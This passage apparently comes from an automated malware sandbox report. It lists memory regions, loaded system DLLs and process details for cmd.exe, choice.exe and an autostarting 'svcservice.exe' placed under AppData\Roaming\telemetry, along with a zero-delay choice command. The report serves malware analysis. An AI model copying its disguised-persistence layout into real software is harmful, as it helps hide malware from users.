filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")
Region:
id = 2103
start_va = 0x7ffc71ae0000
end_va = 0x7ffc71b86fff
monitored = 0
entry_point = 0x7ffc71af58d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 2104
start_va = 0x7ffc71a80000
end_va = 0x7ffc71ad1fff
monitored = 0
entry_point = 0x7ffc71a8f530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 2105
start_va = 0x7ffc6e330000
end_va = 0x7ffc6e33efff
monitored = 0
entry_point = 0x7ffc6e333210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 2106
start_va = 0x7ffc6e630000
end_va = 0x7ffc6e6e4fff
monitored = 0
entry_point = 0x7ffc6e6722e0
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")
Region:
id = 2107
start_va = 0x7ffc6e2e0000
end_va = 0x7ffc6e32afff
monitored = 0
entry_point = 0x7ffc6e2e35f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 2108
start_va = 0x7ffc6e2c0000
end_va = 0x7ffc6e2d3fff
monitored = 0
entry_point = 0x7ffc6e2c52e0
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 2109
start_va = 0x7ffc6cc40000
end_va = 0x7ffc6ccd5fff
monitored = 0
entry_point = 0x7ffc6cc65570
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 2110
start_va = 0x199c0540000
end_va = 0x199c059ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0540000"
filename = ""
Region:
id = 2111
start_va = 0x199c0680000
end_va = 0x199c068ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0680000"
filename = ""
Region:
id = 2113
start_va = 0x199c0690000
end_va = 0x199c09c6fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 2114
start_va = 0x199c0540000
end_va = 0x199c0560fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "cmd.exe.mui"
filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui")
Region:
id = 2115
start_va = 0x199c0590000
end_va = 0x199c059ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0590000"
filename = ""
Region:
id = 2116
start_va = 0x199c05a0000
end_va = 0x199c05f9fff
monitored = 1
entry_point = 0x199c05b53f0
region_type = mapped_file
name = "cmd.exe"
filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")
Region:
id = 2117
start_va = 0x199c09d0000
end_va = 0x199c0be7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c09d0000"
filename = ""
Region:
id = 2118
start_va = 0x199c0bf0000
end_va = 0x199c0e09fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0bf0000"
filename = ""
Region:
id = 2119
start_va = 0x199c0e10000
end_va = 0x199c0f24fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0e10000"
filename = ""
Region:
id = 2120
start_va = 0x199c0f30000
end_va = 0x199c114bfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c0f30000"
filename = ""
Region:
id = 2121
start_va = 0x199c1150000
end_va = 0x199c125efff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000199c1150000"
filename = ""
Thread:
id = 155
os_tid = 0xd8c
Thread:
id = 156
os_tid = 0x6e8
Thread:
id = 157
os_tid = 0xd88
Process:
id = "13"
image_name = "choice.exe"
filename = "c:\\windows\\system32\\choice.exe"
page_root = "0x70c0000"
os_pid = "0xd80"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "11"
os_parent_pid = "0xd94"
cmd_line = "choice /C Y /N /D Y /T 0 "
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 2128
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 2129
start_va = 0xfd0f240000
end_va = 0xfd0f2bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000fd0f240000"
filename = ""
Region:
id = 2130
start_va = 0xfd0f400000
end_va = 0xfd0f5fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000fd0f400000"
filename = ""
Region:
id = 2131
start_va = 0x288fad00000
end_va = 0x288fad1ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fad00000"
filename = ""
Region:
id = 2132
start_va = 0x288fad20000
end_va = 0x288fad34fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fad20000"
filename = ""
Region:
id = 2133
start_va = 0x288fad40000
end_va = 0x288fad43fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fad40000"
filename = ""
Region:
id = 2134
start_va = 0x288fad50000
end_va = 0x288fad50fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fad50000"
filename = ""
Region:
id = 2135
start_va = 0x288fad60000
end_va = 0x288fad61fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fad60000"
filename = ""
Region:
id = 2136
start_va = 0x7df5ffc50000
end_va = 0x7ff5ffc4ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ffc50000"
filename = ""
Region:
id = 2137
start_va = 0x7ff6aeea0000
end_va = 0x7ff6aeec2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff6aeea0000"
filename = ""
Region:
id = 2138
start_va = 0x7ff6af1f0000
end_va = 0x7ff6af1fcfff
monitored = 0
entry_point = 0x7ff6af1f6140
region_type = mapped_file
name = "choice.exe"
filename = "\\Windows\\System32\\choice.exe" (normalized: "c:\\windows\\system32\\choice.exe")
Region:
id = 2139
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 2140
start_va = 0x288fad70000
end_va = 0x288fb04ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fad70000"
filename = ""
Region:
id = 2141
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 2142
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 2143
start_va = 0x288fad00000
end_va = 0x288fad0ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fad00000"
filename = ""
Region:
id = 2144
start_va = 0x7ff6aeda0000
end_va = 0x7ff6aee9ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff6aeda0000"
filename = ""
Region:
id = 2145
start_va = 0x288fad70000
end_va = 0x288fae2dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 2146
start_va = 0x288faf50000
end_va = 0x288fb04ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288faf50000"
filename = ""
Region:
id = 2147
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 2148
start_va = 0xfd0f2c0000
end_va = 0xfd0f33ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000fd0f2c0000"
filename = ""
Region:
id = 2149
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 2150
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 2151
start_va = 0x7ffc6fd30000
end_va = 0x7ffc6fd9afff
monitored = 0
entry_point = 0x7ffc6fd490c0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 2152
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 2153
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 2154
start_va = 0x7ffc71a80000
end_va = 0x7ffc71ad1fff
monitored = 0
entry_point = 0x7ffc71a8f530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 2155
start_va = 0x7ffc6f570000
end_va = 0x7ffc6f7ecfff
monitored = 0
entry_point = 0x7ffc6f644970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 2156
start_va = 0x288fad10000
end_va = 0x288fad16fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fad10000"
filename = ""
Region:
id = 2157
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 2158
start_va = 0x7ffc5c5d0000
end_va = 0x7ffc5c5d9fff
monitored = 0
entry_point = 0x7ffc5c5d1350
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")
Region:
id = 2159
start_va = 0x288fb050000
end_va = 0x288fb24ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fb050000"
filename = ""
Region:
id = 2160
start_va = 0x288fae30000
end_va = 0x288fae36fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fae30000"
filename = ""
Region:
id = 2161
start_va = 0x288fae40000
end_va = 0x288fae78fff
monitored = 0
entry_point = 0x288fae412f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 2162
start_va = 0x288fb050000
end_va = 0x288fb1d7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fb050000"
filename = ""
Region:
id = 2163
start_va = 0x288fb240000
end_va = 0x288fb24ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fb240000"
filename = ""
Region:
id = 2164
start_va = 0x7ffc6fc20000
end_va = 0x7ffc6fc5afff
monitored = 0
entry_point = 0x7ffc6fc212f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 2165
start_va = 0x288fb250000
end_va = 0x288fb3d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fb250000"
filename = ""
Region:
id = 2166
start_va = 0x288fb3e0000
end_va = 0x288fc7dffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000288fb3e0000"
filename = ""
Region:
id = 2167
start_va = 0x288fae40000
end_va = 0x288fae43fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "choice.exe.mui"
filename = "\\Windows\\System32\\en-US\\choice.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\choice.exe.mui")
Region:
id = 2168
start_va = 0x288fae50000
end_va = 0x288fae50fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fae50000"
filename = ""
Region:
id = 2169
start_va = 0x288fae60000
end_va = 0x288fae60fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000288fae60000"
filename = ""
Region:
id = 2170
start_va = 0x288fc7e0000
end_va = 0x288fcb16fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Thread:
id = 159
os_tid = 0x904
Thread:
id = 160
os_tid = 0x56c
Process:
id = "14"
image_name = "svcservice.exe"
filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe"
page_root = "0x43f8d000"
os_pid = "0x7d4"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "autostart"
parent_id = "0"
os_parent_pid = "0x2c0"
cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
cur_dir = "C:\\Windows\\system32\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011932" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 2319
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 2320
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 2321
start_va = 0x50000
end_va = 0x8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000050000"
filename = ""
Region:
id = 2322
start_va = 0x90000
end_va = 0x18ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000090000"
filename = ""
Region:
id = 2323
start_va = 0x190000
end_va = 0x193fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000190000"
filename = ""
Region:
id = 2324
start_va = 0x1a0000
end_va = 0x1a0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001a0000"
filename = ""
Region:
id = 2325
start_va = 0x1b0000
end_va = 0x1b1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 2326
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 2327
start_va = 0x650000
end_va = 0x651fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000650000"
filename = ""
Region:
id = 2328
start_va = 0x11e0000
end_va = 0x1d19fff
monitored = 1
entry_point = 0x16aac64
region_type = mapped_file
name = "svcservice.exe"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")
Region:
id = 2329
start_va = 0x77ac0000
end_va = 0x77c3afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 2330
start_va = 0x7efe0000
end_va = 0x7f002fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007efe0000"
filename = ""
Region:
id = 2331
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 2332
start_va = 0x7fff0000
end_va = 0x7ffc331bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 2333
start_va = 0x7ffc331c0000
end_va = 0x7ffc33380fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 2334
start_va = 0x7ffc33381000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffc33381000"
filename = ""
Region:
id = 2472
start_va = 0x400000
end_va = 0x58ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 2473
start_va = 0x56600000
end_va = 0x5664ffff
monitored = 0
entry_point = 0x56618180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 2474
start_va = 0x56650000
end_va = 0x566c9fff
monitored = 0
entry_point = 0x56663290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 2475
start_va = 0x76ce0000
end_va = 0x76dbffff
monitored = 0
entry_point = 0x76cf3980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 2476
start_va = 0x565f0000
end_va = 0x565f7fff
monitored = 0
entry_point = 0x565f17c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 2477
start_va = 0x660000
end_va = 0x79ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000660000"
filename = ""
Region:
id = 2478
start_va = 0x76ce0000
end_va = 0x76dbffff
monitored = 0
entry_point = 0x76cf3980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 2479
start_va = 0x768b0000
end_va = 0x76a2dfff
monitored = 0
entry_point = 0x76961b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 2480
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 2481
start_va = 0x7eee0000
end_va = 0x7efdffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007eee0000"
filename = ""
Region:
id = 2482
start_va = 0x400000
end_va = 0x4bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 2483
start_va = 0x580000
end_va = 0x58ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000580000"
filename = ""
Region:
id = 2484
start_va = 0x74740000
end_va = 0x747d1fff
monitored = 0
entry_point = 0x74780380
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")
Region:
id = 2485
start_va = 0x7eb30000
end_va = 0x7eed0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 2486
start_va = 0x650000
end_va = 0x653fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000650000"
filename = ""
Region:
id = 2487
start_va = 0x774b0000
end_va = 0x775f6fff
monitored = 0
entry_point = 0x774c1cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 2488
start_va = 0x76dc0000
end_va = 0x76f0efff
monitored = 0
entry_point = 0x76e76820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 2489
start_va = 0x1c0000
end_va = 0x1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 2490
start_va = 0x7a0000
end_va = 0x89ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000007a0000"
filename = ""
Region:
id = 2491
start_va = 0x748e0000
end_va = 0x7495afff
monitored = 0
entry_point = 0x748fe970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 2492
start_va = 0x74f50000
end_va = 0x7500dfff
monitored = 0
entry_point = 0x74f85630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 2493
start_va = 0x74f00000
end_va = 0x74f43fff
monitored = 0
entry_point = 0x74f19d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 2494
start_va = 0x74e30000
end_va = 0x74edcfff
monitored = 0
entry_point = 0x74e44f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 2495
start_va = 0x747f0000
end_va = 0x7480dfff
monitored = 0
entry_point = 0x747fb640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 2496
start_va = 0x747e0000
end_va = 0x747e9fff
monitored = 0
entry_point = 0x747e2a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 2497
start_va = 0x74880000
end_va = 0x748d7fff
monitored = 0
entry_point = 0x748c25c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 2498
start_va = 0x75010000
end_va = 0x7640efff
monitored = 0
entry_point = 0x751cb990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 2499
start_va = 0x764a0000
end_va = 0x764d6fff
monitored = 0
entry_point = 0x764a3b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 2500
start_va = 0x76fb0000
end_va = 0x774a8fff
monitored = 0
entry_point = 0x771b7610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 2501
start_va = 0x77700000
end_va = 0x778bcfff
monitored = 0
entry_point = 0x777e2a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 2502
start_va = 0x76700000
end_va = 0x76744fff
monitored = 0
entry_point = 0x7671de90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 2503
start_va = 0x76840000
end_va = 0x7684bfff
monitored = 0
entry_point = 0x76843930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 2504
start_va = 0x76410000
end_va = 0x7649cfff
monitored = 0
entry_point = 0x76459b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 2505
start_va = 0x76f10000
end_va = 0x76f53fff
monitored = 0
entry_point = 0x76f17410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 2506
start_va = 0x74ef0000
end_va = 0x74efefff
monitored = 0
entry_point = 0x74ef2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 2507
start_va = 0x74530000
end_va = 0x7473cfff
monitored = 0
entry_point = 0x7461acb0
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")
Region:
id = 2508
start_va = 0x660000
end_va = 0x689fff
monitored = 0
entry_point = 0x665680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 2509
start_va = 0x6a0000
end_va = 0x79ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000006a0000"
filename = ""
Region:
id = 2510
start_va = 0x8a0000
end_va = 0xa27fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000008a0000"
filename = ""
Region:
id = 2511
start_va = 0x749c0000
end_va = 0x749eafff
monitored = 0
entry_point = 0x749c5680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 2512
start_va = 0x20000
end_va = 0x20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 2513
start_va = 0x4c0000
end_va = 0x4c0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004c0000"
filename = ""
Region:
id = 2514
start_va = 0xa30000
end_va = 0xbb0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000a30000"
filename = ""
Region:
id = 2515
start_va = 0xbc0000
end_va = 0xc2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000bc0000"
filename = ""
Region:
id = 2516
start_va = 0x1d20000
end_va = 0x311ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001d20000"
filename = ""
Region:
id = 2517
start_va = 0xc30000
end_va = 0xd2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000c30000"
filename = ""
Region:
id = 2518
start_va = 0x3120000
end_va = 0x38757fff
monitored = 1
entry_point = 0x35eac64
region_type = mapped_file
name = "svcservice.exe"
